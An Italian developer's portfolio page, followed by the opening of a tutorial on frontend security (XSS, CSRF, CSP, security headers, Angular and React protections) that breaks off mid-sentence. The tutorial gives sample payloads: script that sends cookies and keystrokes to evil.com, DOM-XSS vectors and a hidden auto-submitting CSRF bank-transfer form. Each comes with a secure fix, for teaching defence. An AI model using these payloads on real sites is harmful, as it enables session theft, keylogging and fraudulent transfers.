Creo applicazioni web moderne e strumenti digitali personalizzati per aiutare le attività a crescere attraverso l'innovazione tecnologica. La mia passione è unire informatica ed economia per generare valore reale.
La mia passione per l'informatica è nata tra i banchi dell'Istituto Tecnico Commerciale di Maglie, dove ho scoperto il potere della programmazione e il fascino di creare soluzioni digitali. Fin da subito, ho capito che l'informatica non era solo codice, ma uno strumento straordinario per trasformare idee in realtà.
Durante gli studi superiori in Sistemi Informativi Aziendali, ho iniziato a intrecciare informatica ed economia, comprendendo come la tecnologia possa essere il motore della crescita per qualsiasi attività. Questa visione mi ha accompagnato all'Università degli Studi di Bari, dove ho conseguito la Laurea in Informatica, approfondendo le mie competenze tecniche e la mia passione per lo sviluppo software.
Oggi metto questa esperienza al servizio di imprese, professionisti e startup, creando soluzioni digitali su misura che automatizzano processi, ottimizzano risorse e aprono nuove opportunità di business. Perché la vera innovazione inizia quando la tecnologia incontra le esigenze reali delle persone.
Le Mie Competenze
Analisi Dati & Modelli Previsionali
Trasformo i dati in insights strategici con analisi approfondite e modelli predittivi per decisioni informate
Automazione Processi
Creo strumenti personalizzati che automatizzano operazioni ripetitive e liberano tempo per attività a valore aggiunto
Sistemi Custom
Sviluppo sistemi software su misura, dalle integrazioni tra piattaforme alle dashboard personalizzate
Credo fermamente che l'informatica sia lo strumento più potente per trasformare le idee in realtà e migliorare la vita delle persone.
Democratizzare la Tecnologia
La mia missione è rendere l'informatica accessibile a tutti: dalle piccole imprese locali alle startup innovative, fino ai professionisti che vogliono digitalizzare la propria attività. Ogni realtà merita di sfruttare le potenzialità del digitale.
Unire Informatica ed Economia
Non è solo questione di scrivere codice: è capire come la tecnologia possa generare valore reale. Intrecciando competenze informatiche e visione economica, aiuto le attività a crescere, ottimizzare processi e raggiungere nuovi traguardi di efficienza e redditività.
Creare Soluzioni su Misura
Ogni attività è unica, e così devono esserlo le soluzioni. Sviluppo strumenti personalizzati che rispondono alle esigenze specifiche di ciascun cliente, automatizzando processi ripetitivi e liberando tempo per ciò che conta davvero: far crescere il business.
Trasforma la Tua Attività con la Tecnologia
Che tu gestisca un negozio, uno studio professionale o un'azienda, posso aiutarti a sfruttare le potenzialità dell'informatica per lavorare meglio, più velocemente e in modo più intelligente.
Il mio percorso accademico e le tecnologie che padroneggio
Certificazioni Professionali
8 certificazioni conseguite
Nuovo
Visualizza
Reinvention With Agentic AI Learning Program
Anthropic
Dicembre 2024
Nuovo
Visualizza
Agentic AI Fluency
Anthropic
Dicembre 2024
Nuovo
Visualizza
AI Fluency for Students
Anthropic
Dicembre 2024
Nuovo
Visualizza
AI Fluency: Framework and Foundations
Anthropic
Dicembre 2024
Nuovo
Visualizza
Claude with the Anthropic API
Anthropic
Dicembre 2024
Visualizza
Master SQL
RoadMap.sh
Novembre 2024
Visualizza
Oracle Certified Foundations Associate
Oracle
Ottobre 2024
Visualizza
People Leadership Credential
Connect
Settembre 2024
Linguaggi & Tecnologie
Java
Python
JavaScript
Angular
React
TypeScript
SQL
PHP
CSS/SCSS
Node.js
Docker
Git
💼
12/2024 - Presente
Custom Software Engineering Analyst
Accenture
Bari, Puglia, Italia · Ibrida
Analisi e sviluppo di sistemi informatici attraverso l'utilizzo di Java e Quarkus in Health and Public Sector. Formazione continua su tecnologie moderne per la creazione di soluzioni software personalizzate ed efficienti e sugli agenti.
💼
06/2022 - 12/2024
Analista software e Back End Developer Associate Consultant
Links Management and Technology SpA
Esperienza nell'analisi di sistemi software as-is e flussi ETL utilizzando PowerCenter. Formazione completata su Spring Boot per lo sviluppo di applicazioni backend moderne e scalabili. Sviluppatore Backend specializzato in Spring Boot, con esperienza in progettazione di database, analisi, sviluppo e testing dei task assegnati.
💼
02/2021 - 10/2021
Programmatore software
Adesso.it (prima era WebScience srl)
Esperienza nell'analisi AS-IS e TO-BE, evoluzioni SEO ed evoluzioni website per migliorare le performance e l'engagement degli utenti.
🎓
2018 - 2025
Laurea in Informatica
Università degli Studi di Bari Aldo Moro
Bachelor's degree in Computer Science, focusing on software engineering, algorithms, and modern development practices.
📚
2013 - 2018
Diploma - Sistemi Informativi Aziendali
Istituto Tecnico Commerciale di Maglie
Technical diploma specializing in Business Information Systems, combining IT knowledge with business management.
Contattami
Hai un progetto in mente? Parliamone! Compila il form qui sotto e ti risponderò al più presto.
* Campi obbligatori. I tuoi dati saranno utilizzati solo per rispondere alla tua richiesta.
02 - XSS, CSRF e CSP: Sicurezza Frontend
Il frontend e il primo punto di contatto tra l'utente e la tua applicazione. Ogni campo di input,
ogni URL, ogni richiesta HTTP rappresenta un potenziale vettore di attacco. Nel 2025, con Single Page
Application (SPA), Progressive Web App (PWA) e architetture ibride SSR/CSR, la superficie di attacco
del frontend si e espansa enormemente. Tre acronimi dominano la sicurezza frontend:
XSS (Cross-Site Scripting), CSRF (Cross-Site Request Forgery) e
CSP (Content Security Policy). Padroneggiare queste tre aree significa proteggere
i tuoi utenti dal furto di sessioni, dall'esecuzione di azioni non autorizzate e dall'iniezione di
codice malevolo.
In questo articolo analizzeremo ogni attacco in profondità, con esempi reali di codice vulnerabile
e sicuro, configurazioni pratiche e una checklist completa per mettere in sicurezza la tua
applicazione Angular.
Cosa Imparerai
I tre tipi di XSS (Reflected, Stored, DOM-based) con esempi di payload reali
Come funziona un attacco CSRF e perchè i cookie da soli non bastano
Tutte le direttive CSP con configurazioni pratiche per Angular, Express e Nginx
Gli header HTTP di sicurezza essenziali e come configurarli
Le protezioni XSS e CSRF integrate in Angular e come non disabilitarle
perchè il 86% del codice AI-generated fallisce i test XSS
Tool professionali per testare la sicurezza frontend
La Superficie di Attacco del Frontend Moderno
Un'applicazione web moderna non e più una semplice pagina HTML servita dal server. Le SPA come
quelle costruite con Angular, React o Vue gestiscono routing, stato, autenticazione e logica
di business direttamente nel browser. Questo sposta una parte significativa della superficie di
attacco dal server al client.
Ecco i principali vettori di attacco nel frontend moderno:
Input utente non sanitizzato: campi di testo, URL, query string, fragment hash, cookie, header HTTP, file upload, localStorage, WebSocket messages
Rendering dinamico del DOM:innerHTML, document.write(), template string non escapate, rendering condizionale basato su dati esterni
Dipendenze di terze parti: librerie JavaScript caricate da CDN, script di analytics, widget social, font esterni
Storage locale: localStorage, sessionStorage, IndexedDB possono contenere dati sensibili accessibili da script malevoli
Dato Critico: Incidenza degli Attacchi Frontend
Secondo il report HackerOne 2025, il Cross-Site Scripting resta la vulnerabilità più
segnalata nei programmi di bug bounty, rappresentando il 18% di tutte le segnalazioni.
Il CSRF segue al 7%. Insieme, questi due attacchi costituiscono un quarto di tutte le
vulnerabilità trovate da ricercatori di sicurezza professionisti.
Cross-Site Scripting (XSS): L'Attacco Più Diffuso
Il Cross-Site Scripting (XSS) si verifica quando un attaccante riesce a iniettare
ed eseguire codice JavaScript nel browser di un altro utente, nel contesto di un sito web fidato.
L'attacco sfrutta la fiducia che il browser dell'utente ha verso il sito: il codice iniettato
viene eseguito con gli stessi privilegi del JavaScript legittimo dell'applicazione, e può quindi
accedere a cookie, sessioni, token e qualsiasi dato presente nella pagina.
Esistono tre varianti principali di XSS, ciascuna con un meccanismo di iniezione diverso:
1. Reflected XSS (Non-Persistent)
Il Reflected XSS si verifica quando l'input dell'utente viene incluso nella
risposta HTTP del server senza sanitizzazione. Il payload malevolo e contenuto nell'URL e viene
"riflesso" nella pagina HTML. L'attaccante deve convincere la vittima a cliccare su un link
appositamente costruito (phishing, social engineering).
Reflected XSS - URL con payload malevolo
// L'attaccante costruisce questo URL e lo invia alla vittima:
https://shop.example.com/search?q=<script>
fetch('https://evil.com/steal?cookie='+document.cookie)
</script>
// Il server genera la pagina con il termine di ricerca non sanitizzato:
<h2>Risultati per: <script>fetch('https://evil.com/steal?...')</script></h2>
// Il browser della vittima esegue lo script: il cookie di sessione
// viene inviato al server dell'attaccante
Server vulnerabile vs sicuro - Reflected XSS
// VULNERABILE: il parametro viene inserito direttamente nell'HTML
app.get('/search', (req, res) => {
const query = req.query.q;
res.send(`
<h2>Risultati per:
#123;query}</h2>
<div id="results">...</div>
`);
});
// SICURO: output encoding con escape dei caratteri HTML
import { escape as escapeHtml } from 'lodash';
app.get('/search', (req, res) => {
const query = escapeHtml(req.query.q || '');
res.send(`
<h2>Risultati per: #123;query}</h2>
<div id="results">...</div>
`);
});
// <script> diventa <script> - non viene eseguito
2. Stored XSS (Persistent)
Lo Stored XSS e la variante più pericolosa. Il payload malevolo viene salvato
permanentemente nel database del server (ad esempio in un commento, nel profilo utente, in un
messaggio) e viene servito a ogni utente che visualizza quella risorsa. Non richiede che la
vittima clicchi su un link speciale: basta visitare la pagina contaminata.
Stored XSS - Comment Injection
// L'attaccante inserisce questo commento nel blog:
const maliciousComment = `
Ottimo articolo!
<img src="x" onerror="
// Keylogger: cattura tutto ciò che l'utente digita
document.addEventListener('keypress', function(e) {
fetch('https://evil.com/keys?k=' + e.key);
});
">
`;
// VULNERABILE: il commento viene salvato e renderizzato senza sanitizzazione
app.post('/api/comments', async (req, res) => {
await db.comments.insert({
text: req.body.text, // Nessuna sanitizzazione!
author: req.user.id,
date: new Date()
});
res.json({ success: true });
});
// Nella pagina del blog, il commento viene inserito con innerHTML:
commentDiv.innerHTML = comment.text; // Lo script viene eseguito!
// SICURO: sanitizzazione sia in input che in output
import DOMPurify from 'dompurify';
import { escape as escapeHtml } from 'lodash';
app.post('/api/comments', async (req, res) => {
// Sanitizzazione in input: rimuovi tag pericolosi
const cleanText = DOMPurify.sanitize(req.body.text, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
ALLOWED_ATTR: ['href']
});
await db.comments.insert({
text: cleanText,
author: req.user.id,
date: new Date()
});
res.json({ success: true });
});
// In output: usa textContent invece di innerHTML quando possibile
commentDiv.textContent = comment.text;
3. DOM-based XSS
Il DOM-based XSS e il più insidioso perchè il payload non transita mai attraverso
il server. L'attacco avviene interamente nel browser: un codice JavaScript legittimo della pagina
legge dati da una sorgente controllata dall'attaccante (URL, fragment hash, document.referrer,
postMessage) e li inserisce nel DOM senza sanitizzazione.
DOM-based XSS - document.location manipulation
// VULNERABILE: legge dal fragment hash e inserisce nel DOM
// URL malevolo: https://app.example.com/#<img src=x onerror=alert(document.cookie)>
const userInput = document.location.hash.substring(1);
document.getElementById('content').innerHTML = decodeURIComponent(userInput);
// Il browser esegue il codice nell'attributo onerror!
// VULNERABILE: document.referrer usato come sink
document.getElementById('back-link').innerHTML =
'<a href="' + document.referrer + '">Torna indietro</a>';
// document.referrer può contenere payload XSS
// VULNERABILE: postMessage senza validazione dell'origine
window.addEventListener('message', (event) => {
// Accetta messaggi da qualsiasi origine!
document.getElementById('widget').innerHTML = event.data.html;
});
// SICURO: sanitizzazione e validazione
import DOMPurify from 'dompurify';
const userInput = document.location.hash.substring(1);
const decoded = decodeURIComponent(userInput);
document.getElementById('content').textContent = decoded; // textContent, non innerHTML
// SICURO: postMessage con validazione dell'origine
window.addEventListener('message', (event) => {
if (event.origin !== 'https://trusted.example.com') {
return; // Rifiuta messaggi da origini non fidate
}
const cleanHtml = DOMPurify.sanitize(event.data.html);
document.getElementById('widget').innerHTML = cleanHtml;
});
Impatto Reale degli Attacchi XSS
Un attacco XSS riuscito può causare danni enormi. Ecco cosa un attaccante può fare una volta
che esegue JavaScript nel browser della vittima:
Tipo di Attacco
Descrizione
Gravita
Session Hijacking
Furto del cookie di sessione per impersonare l'utente
Critica
Keylogging
Cattura di ogni tasto premuto dall'utente (password, carte di credito)
Critica
Defacement
Modifica del contenuto visibile della pagina per danneggiare la reputazione
Alta
Phishing
Iniezione di form di login falsi per rubare credenziali
Critica
Crypto Mining
Esecuzione di miner di criptovalute nel browser della vittima
Media
Worm XSS
Script che si auto-propaga infettando i profili di altri utenti
Critica
Data Exfiltration
Lettura e invio di dati sensibili dalla pagina (token, dati personali)
Critica
Prevenzione XSS: Difesa in Profondità
La prevenzione XSS richiede un approccio defense-in-depth: non affidarti a un
singolo livello di difesa, ma combina più tecniche complementari. L'obiettivo e garantire che
nessun dato non fidato possa mai essere interpretato come codice dal browser.
1. Output Encoding (Prima Linea di Difesa)
L'output encoding trasforma i caratteri speciali in entità HTML sicure prima di inserirli nel DOM.
E la difesa più importante contro il Reflected e lo Stored XSS.
Output Encoding - Contesti diversi richiedono encoding diversi
// Contesto HTML: escape dei caratteri HTML
function escapeHtml(str: string): string {
const map: Record<string, string> = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
'/': '/'
};
return str.replace(/[&<>"'/]/g, (c) => map[c]);
}
// Contesto attributo HTML
// <div title="USER_INPUT">
const safeAttr = escapeHtml(userInput);
// Contesto URL: codifica i parametri
// <a href="/search?q=USER_INPUT">
const safeUrl = encodeURIComponent(userInput);
// Contesto JavaScript: JSON.stringify con escape
// <script>var data = USER_INPUT;</script>
const safeJs = JSON.stringify(userInput);
// Contesto CSS: evita completamente input utente in CSS
// NON fare mai: element.style.background = userInput;
2. Input Sanitization con DOMPurify
Quando devi accettare HTML dall'utente (editor rich-text, markdown), usa DOMPurify
per rimuovere qualsiasi tag o attributo pericoloso.
Angular fornisce una protezione XSS robusta e integrata. Il framework tratta tutti i valori
come non fidati per default e li sanitizza automaticamente prima di inserirli nel DOM.
Questa protezione funziona su interpolazione, property binding e attribute binding.
Angular - Sanitizzazione automatica e bypass controllato
import { Component } from '@angular/core';
import { DomSanitizer, SafeHtml } from '@angular/platform-browser';
@Component({
selector: 'app-comment',
template: `
<!-- SICURO: Angular esegue l'escape automaticamente -->
<p>Commento: {{ userComment }}</p>
<!-- SICURO: Angular sanitizza innerHTML automaticamente -->
<div [innerHTML]="userComment"></div>
<!-- <script> e onerror vengono rimossi automaticamente -->
<!-- SICURO: textContent non interpreta HTML -->
<div [textContent]="userComment"></div>
<!-- PERICOLOSO: bypass del sanitizer -->
<div [innerHTML]="trustedHtml"></div>
`
})
export class CommentComponent {
userComment = '<script>alert("XSS")</script><b>Testo</b>';
trustedHtml: SafeHtml;
constructor(private sanitizer: DomSanitizer) {
// bypassSecurityTrustHtml: SOLO per contenuto che controlli al 100%
// Mai usarlo con input utente!
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml(
'<div class="safe-content">Contenuto controllato internamente</div>'
);
}
}
Quando Angular NON Ti Protegge
Uso di bypassSecurityTrustHtml/Script/Style/Url/ResourceUrl con dati utente
Manipolazione diretta del DOM con ElementRef.nativeElement.innerHTML
Uso di document.write() o eval()
Costruzione dinamica di URL con javascript: protocol
Rendering server-side senza encoding (Angular Universal custom templates)
4. React JSX Auto-Escaping
Anche React fornisce protezione XSS integrata. JSX esegue automaticamente l'escape di tutti i
valori renderizzati. L'unica eccezione e la prop dangerouslySetInnerHTML, che
bypassa la protezione (il nome stesso e un avvertimento).
React - Confronto sicuro vs pericoloso
// SICURO: JSX esegue l'escape automaticamente
function SafeComponent({ userInput }: { userInput: string }) {
return <p>{userInput}</p>; // <script> diventa testo visibile
}
// PERICOLOSO: bypassa la protezione di React
function UnsafeComponent({ html }: { html: string }) {
return <div dangerouslySetInnerHTML={{ __html: html }} />;
// Se html contiene <script>, viene eseguito!
}
// SICURO: sanitizza prima di usare dangerouslySetInnerHTML
import DOMPurify from 'dompurify';
function SafeRichText({ html }: { html: string }) {
const clean = DOMPurify.sanitize(html);
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
Il CSRF (Cross-Site Request Forgery) e un attacco che costringe il browser di un
utente autenticato a inviare una richiesta non intenzionale a un sito su cui e già loggato. A
differenza del XSS, il CSRF non inietta codice nel sito vittima: sfrutta il fatto che il browser
invia automaticamente i cookie di sessione con ogni richiesta verso il dominio associato,
indipendentemente da quale sito ha generato la richiesta.
Come Funziona un Attacco CSRF
Il flusso di un attacco CSRF segue questi passi:
L'utente si autentica su bank.example.com e riceve un cookie di sessione
L'utente visita un sito malevolo (evil.example.com) in un'altra tab
Il sito malevolo contiene un form nascosto o un'immagine che genera una richiesta verso bank.example.com
Il browser invia automaticamente il cookie di sessione dell'utente con la richiesta
Il server della banca riceve una richiesta apparentemente legittima e la esegue
CSRF Attack - Esempio di trasferimento bancario forzato
<!-- Pagina malevola su evil.example.com -->
<html>
<body>
<h1>Congratulazioni! Hai vinto un premio!</h1>
<!-- Form nascosto che effettua un bonifico -->
<form id="csrf-form"
action="https://bank.example.com/api/transfer"
method="POST"
style="display:none">
<input name="to" value="attacker-account-123" />
<input name="amount" value="10000" />
<input name="currency" value="EUR" />
</form>
<!-- Il form viene inviato automaticamente -->
<script>document.getElementById('csrf-form').submit();</script>
<!-- Alternativa: immagine che genera una GET (meno pericolosa) -->
<img src="https://bank.example.com/api/transfer?to=attacker&amount=1000"
style="display:none" />
</body>
</html>
perchè il Cookie Non Basta
I cookie sono inviati automaticamente dal browser con ogni richiesta verso il dominio che li
ha emessi. Il server non può distinguere una richiesta legittima da una richiesta CSRF solo
guardando il cookie: entrambe contengono un cookie di sessione valido. Servono meccanismi
aggiuntivi per verificare che la richiesta provenga dal sito legittimo.
Prevenzione CSRF: Quattro Tecniche Fondamentali
1. SameSite Cookie Attribute
L'attributo SameSite sui cookie e la difesa CSRF più moderna e efficace.
Controlla quando il browser invia il cookie con richieste cross-site.
Valore SameSite
Comportamento
Protezione CSRF
Strict
Cookie inviato solo per richieste same-site. Mai inviato per richieste cross-site, nemmeno per link normali
Massima
Lax
Cookie inviato per navigazione top-level GET (link), ma NON per POST, iframe, o richieste AJAX cross-site
Buona (default in Chrome)
None
Cookie inviato sempre (richiede Secure). Necessario per integrazioni cross-site legittime
Nessuna
Configurazione SameSite cookies in Express.js
import session from 'express-session';
app.use(session({
secret: process.env.SESSION_SECRET!,
cookie: {
httpOnly: true, // Non accessibile da JavaScript
secure: true, // Solo HTTPS
sameSite: 'lax', // Protezione CSRF
maxAge: 3600000, // 1 ora
domain: '.example.com',
path: '/'
},
resave: false,
saveUninitialized: false
}));
2. Synchronizer Token Pattern (CSRF Token)
Il pattern classico e più robusto: il server genera un token casuale unico per sessione, lo
include nel form come campo nascosto, e lo verifica ad ogni richiesta POST. Un sito malevolo
non può conoscere il token perchè non ha accesso al DOM del sito legittimo.
CSRF Token - Implementazione server-side
import crypto from 'crypto';
// Middleware: genera il CSRF token e lo salva nella sessione
function csrfTokenMiddleware(req: Request, res: Response, next: NextFunction) {
if (!req.session.csrfToken) {
req.session.csrfToken = crypto.randomBytes(32).toString('hex');
}
// Rendi il token disponibile nei template
res.locals.csrfToken = req.session.csrfToken;
next();
}
// Middleware: verifica il CSRF token nelle richieste POST/PUT/DELETE
function csrfValidation(req: Request, res: Response, next: NextFunction) {
if (['POST', 'PUT', 'DELETE', 'PATCH'].includes(req.method)) {
const token = req.body._csrf || req.headers['x-csrf-token'];
if (!token || token !== req.session.csrfToken) {
return res.status(403).json({ error: 'Token CSRF non valido' });
}
}
next();
}
// Nel form HTML:
// <input type="hidden" name="_csrf" value="TOKEN_GENERATO">
3. Double Submit Cookie Pattern
Alternativa stateless: il server invia il token CSRF sia come cookie che come campo del form.
Alla ricezione, verifica che entrambi i valori corrispondano. Un sito malevolo può inviare il
cookie (il browser lo fa automaticamente), ma non può leggere il valore del cookie per
includerlo nel body della richiesta.
Double Submit Cookie Pattern
import crypto from 'crypto';
// Il server genera il token e lo invia come cookie
function setDoubleSubmitToken(req: Request, res: Response, next: NextFunction) {
const token = crypto.randomBytes(32).toString('hex');
res.cookie('csrf-token', token, {
httpOnly: false, // Il JavaScript del sito deve poterlo leggere
secure: true,
sameSite: 'lax',
path: '/'
});
next();
}
// Validazione: il valore nel cookie deve corrispondere a quello nell'header
function validateDoubleSubmit(req: Request, res: Response, next: NextFunction) {
if (['POST', 'PUT', 'DELETE', 'PATCH'].includes(req.method)) {
const cookieToken = req.cookies['csrf-token'];
const headerToken = req.headers['x-csrf-token'];
if (!cookieToken || !headerToken || cookieToken !== headerToken) {
return res.status(403).json({ error: 'CSRF validation failed' });
}
}
next();
}
4. Origin/Referer Header Validation
Verifica che l'header Origin o Referer della richiesta corrisponda
al dominio del sito. E una difesa aggiuntiva, non primaria, perchè questi header possono essere
assenti in alcuni contesti.
Validazione degli header Origin/Referer
const ALLOWED_ORIGINS = [
'https://app.example.com',
'https://www.example.com'
];
function validateOrigin(req: Request, res: Response, next: NextFunction) {
if (['POST', 'PUT', 'DELETE', 'PATCH'].includes(req.method)) {
const origin = req.headers.origin || req.headers.referer;
if (!origin) {
// Fail-closed: se manca l'origin, rifiuta la richiesta
return res.status(403).json({ error: 'Origin header mancante' });
}
const requestOrigin = new URL(origin).origin;
if (!ALLOWED_ORIGINS.includes(requestOrigin)) {
return res.status(403).json({ error: 'Origin non autorizzato' });
}
}
next();
}
CSRF Protection in Angular
Angular fornisce supporto CSRF integrato tramite HttpClient. Quando il server invia
un cookie XSRF-TOKEN, Angular lo legge automaticamente e lo include come header
X-XSRF-TOKEN in ogni richiesta mutativa (POST, PUT, DELETE, PATCH).
Angular XSRF - Configurazione automatica
// app.config.ts - Angular legge XSRF-TOKEN e invia X-XSRF-TOKEN automaticamente
import { provideHttpClient, withXsrfConfiguration } from '@angular/common/http';
export const appConfig = {
providers: [
provideHttpClient(
withXsrfConfiguration({
cookieName: 'XSRF-TOKEN', // Nome del cookie (default)
headerName: 'X-XSRF-TOKEN' // Nome dell'header (default)
})
)
]
};
// Server Express: imposta il cookie XSRF-TOKEN
import csurf from 'csurf';
app.use(csurf({
cookie: {
key: 'XSRF-TOKEN',
httpOnly: false, // Angular deve poterlo leggere
secure: true,
sameSite: 'lax'
}
}));
Content Security Policy (CSP): La Difesa Definitiva contro XSS
La Content Security Policy (CSP) e un header HTTP che permette di controllare
quali risorse il browser può caricare ed eseguire. E la difesa più potente contro XSS perchè
opera a livello di browser: anche se un attaccante riesce a iniettare uno <script>
nel DOM, il browser si rifiutera di eseguirlo se non e autorizzato dalla policy CSP.
CSP funziona secondo un principio di whitelist: definisci esplicitamente quali
sorgenti sono autorizzate per ogni tipo di risorsa (script, stili, immagini, font, connessioni).
Tutto ciò che non e esplicitamente permesso viene bloccato.
CSP via Header vs Meta Tag
Due modi per impostare CSP
// 1. Header HTTP (preferito - più sicuro, supporta report-uri)
Content-Security-Policy: default-src 'self'; script-src 'self'
// 2. Meta tag HTML (fallback se non puoi controllare gli header)
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self'">
// NOTA: il meta tag NON supporta frame-ancestors e report-uri
Direttive CSP Dettagliate
Direttiva
Controlla
Esempio
default-src
Fallback per tutte le altre direttive non specificate
'self'
script-src
Sorgenti di script JavaScript
'self' 'nonce-abc123'
style-src
Sorgenti di fogli di stile CSS
'self' https://fonts.googleapis.com
img-src
Sorgenti di immagini
'self' data: https:
connect-src
URL per fetch, XHR, WebSocket, EventSource
'self' https://api.example.com
font-src
Sorgenti di font
'self' https://fonts.gstatic.com
frame-src
Sorgenti per iframe
'none'
frame-ancestors
Chi può incorporare la pagina in un iframe
'none' (anti-clickjacking)
base-uri
URL validi per il tag <base>
'self'
form-action
URL validi per l'attributo action dei form
'self'
object-src
Sorgenti per plugin (Flash, Java Applet)
'none'
Nonce e strict-dynamic: CSP Moderna
Il sistema nonce e il modo più sicuro per autorizzare script specifici. Il server
genera un valore casuale per ogni richiesta e lo include sia nell'header CSP che nell'attributo
nonce dello script. Solo gli script con il nonce corretto vengono eseguiti.
CSP con nonce e strict-dynamic
import crypto from 'crypto';
// Middleware Express: genera un nonce per ogni richiesta
app.use((req, res, next) => {
const nonce = crypto.randomBytes(16).toString('base64');
res.locals.cspNonce = nonce;
res.setHeader('Content-Security-Policy', [
"default-src 'self'",
`script-src 'nonce-#123;nonce}' 'strict-dynamic'`,
"style-src 'self' 'unsafe-inline' https://fonts.googleapis.com",
"img-src 'self' data: https:",
"font-src 'self' https://fonts.gstatic.com",
"connect-src 'self' https://api.example.com",
"frame-ancestors 'none'",
"base-uri 'self'",
"form-action 'self'",
"object-src 'none'"
].join('; '));
next();
});
// Nel template HTML:
// <script nonce="NONCE_GENERATO">...codice legittimo...</script>
// Con 'strict-dynamic': gli script caricati da script con nonce
// sono automaticamente autorizzati (cascading trust)
perchè Evitare 'unsafe-inline' per gli Script
La direttiva 'unsafe-inline' in script-src annulla quasi
completamente la protezione CSP contro XSS. Permette l'esecuzione di qualsiasi script
inline, inclusi quelli iniettati da un attaccante. Se hai bisogno di script inline, usa
nonce o hash invece di 'unsafe-inline'.
Per gli stili, 'unsafe-inline' e spesso necessario e meno pericoloso.
CSP Report-Only Mode
Prima di attivare CSP in produzione, usa Content-Security-Policy-Report-Only per
monitorare le violazioni senza bloccarle. Questo ti permette di identificare e risolvere i
problemi di compatibilità prima di applicare la policy.
Oltre alla CSP, esistono altri header HTTP che rafforzano significativamente la sicurezza
della tua applicazione. Ciascuno protegge da un tipo specifico di attacco.
Header
Valore Consigliato
Protezione
X-Frame-Options
DENY
Previene il clickjacking (embedding in iframe)
X-Content-Type-Options
nosniff
Previene il MIME sniffing (il browser non indovina il content-type)
Strict-Transport-Security
max-age=31536000; includeSubDomains; preload
Forza HTTPS per tutte le connessioni future (HSTS)
Referrer-Policy
strict-origin-when-cross-origin
Controlla quali informazioni vengono inviate nell'header Referer
Permissions-Policy
camera=(), microphone=(), geolocation=()
Disabilita le API del browser non necessarie
X-XSS-Protection
0
Disabilita il filtro XSS legacy del browser (può creare vulnerabilità)
Cross-Origin-Opener-Policy
same-origin
Isola il contesto di browsing da documenti cross-origin
Cross-Origin-Resource-Policy
same-origin
Previene il caricamento cross-origin delle risorse
Configurazione completa header di sicurezza con Express/Helmet
Dopo aver configurato gli header, verifica il risultato con questi strumenti gratuiti:
securityheaders.com - Analisi completa degli header HTTP con voto A-F
observatory.mozilla.org - Scanner di sicurezza di Mozilla
csp-evaluator.withgoogle.com - Validatore specifico per CSP di Google
Sicurezza in Angular: Protezioni Integrate
Angular implementa un sistema di sicurezza robusto che protegge gli sviluppatori dalle
vulnerabilità più comuni. E importante capire come funziona per non disabilitarlo
inavvertitamente.
Sanitizzazione Automatica del DOM
Angular classifica i valori in cinque contesti di sicurezza, e applica
sanitizzazione diversa per ciascuno:
Contesto
Metodo di Bypass
Quando Usarlo
HTML
bypassSecurityTrustHtml()
Contenuto HTML da CMS fidato
Style
bypassSecurityTrustStyle()
Stili dinamici calcolati internamente
URL
bypassSecurityTrustUrl()
URL costruiti da logica interna
Resource URL
bypassSecurityTrustResourceUrl()
URL per script/iframe da CDN fidati
Script
bypassSecurityTrustScript()
Quasi mai - estremamente pericoloso
Angular Security Contexts - Uso sicuro vs pericoloso
import { Component, inject } from '@angular/core';
import { DomSanitizer } from '@angular/platform-browser';
@Component({
selector: 'app-safe-content',
template: `
<!-- SICURO: Angular sanitizza automaticamente -->
<div [innerHTML]="htmlContent"></div>
<!-- SICURO: textContent non interpreta HTML -->
<span [textContent]="userInput"></span>
<!-- SICURO con bypass controllato -->
<iframe [src]="safeSrc"></iframe>
<!-- PERICOLOSO: non fare mai questo -->
<div [innerHTML]="unsafeBypass"></div>
`
})
export class SafeContentComponent {
private sanitizer = inject(DomSanitizer);
htmlContent = '<b>Bold</b><script>alert(1)</script>';
// Angular rimuove <script>, mantiene <b>
userInput = '<script>alert(1)</script>';
// Renderizzato come testo visibile
// SICURO: URL hardcoded e fidato
safeSrc = this.sanitizer.bypassSecurityTrustResourceUrl(
'https://www.youtube.com/embed/video-id'
);
// PERICOLOSO: MAI con input utente
unsafeBypass = this.sanitizer.bypassSecurityTrustHtml(
this.getUserInput() // Potrebbe contenere XSS!
);
private getUserInput(): string {
return ''; // Simulazione
}
}
HttpClient XSRF Protection
Il modulo HttpClient di Angular supporta nativamente la protezione CSRF tramite il
meccanismo dei cookie double-submit. Per attivarlo, basta che il server imposti il cookie
XSRF-TOKEN: Angular lo leggera automaticamente e lo includera come header
X-XSRF-TOKEN in ogni richiesta POST, PUT, DELETE e PATCH.
Angular genera stili inline per i componenti (parte di View Encapsulation). Questo richiede
'unsafe-inline' in style-src, che fortunatamente e molto meno
pericoloso di 'unsafe-inline' in script-src. Per gli script, usa
sempre il sistema nonce.
Non salvare token JWT in localStorage (vulnerabile a XSS): preferire cookie HttpOnly
Tool di Testing per la Sicurezza Frontend
Testare la sicurezza manualmente non e sufficiente. Questi strumenti professionali automatizzano
il rilevamento di vulnerabilità XSS, CSRF e misconfigurazioni degli header.
Tool
Tipo
Uso Principale
Costo
OWASP ZAP
DAST (proxy scanner)
Scansione automatica di XSS, CSRF, injection e misconfigurazioni
Gratuito
Burp Suite
DAST (proxy avanzato)
Penetration testing manuale e automatico, fuzzing avanzato
Community (gratis) / Pro ($449/anno)
securityheaders.com
Analisi header
Verifica rapida di tutti gli header di sicurezza con voto A-F
Gratuito
CSP Evaluator
Analisi CSP
Validazione specifica della policy CSP con suggerimenti Google
Gratuito
Snyk
SCA + SAST
Scansione vulnerabilità nelle dipendenze e nel codice sorgente
Free tier / Team ($25/mese)
ESLint Security
SAST (linter)
Regole lint per rilevare pattern XSS nel codice (innerHTML, eval)
OWASP ZAP - Scansione automatica da riga di comando
# Scansione rapida con OWASP ZAP in Docker
docker run -t zaproxy/zap-stable zap-baseline.py \
-t https://your-app.example.com \
-r report.html \
-l WARN
# Scansione completa con autenticazione
docker run -t zaproxy/zap-stable zap-full-scan.py \
-t https://your-app.example.com \
-r full-report.html \
--hook=/zap/auth-hook.py
# Integrazione nella pipeline CI/CD (GitHub Actions)
# Aggiungi come step nel workflow:
# - name: OWASP ZAP Scan
# uses: zaproxy/action-baseline@v0.10.0
# with:
# target: 'https://staging.example.com'
Vulnerabilità nel Codice AI-Generated
L'adozione massiccia di strumenti come Copilot, ChatGPT e Claude per la generazione di codice
ha introdotto un nuovo rischio: questi strumenti spesso generano codice che funziona
